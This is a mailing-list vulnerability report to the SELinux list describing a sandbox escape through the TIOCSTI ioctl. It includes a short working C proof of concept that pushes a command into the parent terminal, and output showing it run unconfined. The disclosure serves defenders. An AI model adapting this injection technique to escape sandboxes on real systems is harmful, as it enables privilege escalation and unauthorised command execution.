Hi,
When executing a program via the SELinux sandbox, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
escape the sandbox.
$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o test
$ /bin/sandbox ./test
id
uid=1000 gid=1000 groups=1000
context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
$ id <------ did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
This is similar to CVE-2016-2568, CVE-2016-2779, etc.
Thanks,
Federico Bento.
----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.
_______________________________________________
Selinux mailing list
Selinux@xxxxxxxxxxxxx
To unsubscribe, send email to Selinux-leave@xxxxxxxxxxxxx.
To get help, send an email containing "help" to Selinux-request@xxxxxxxxxxxxx.
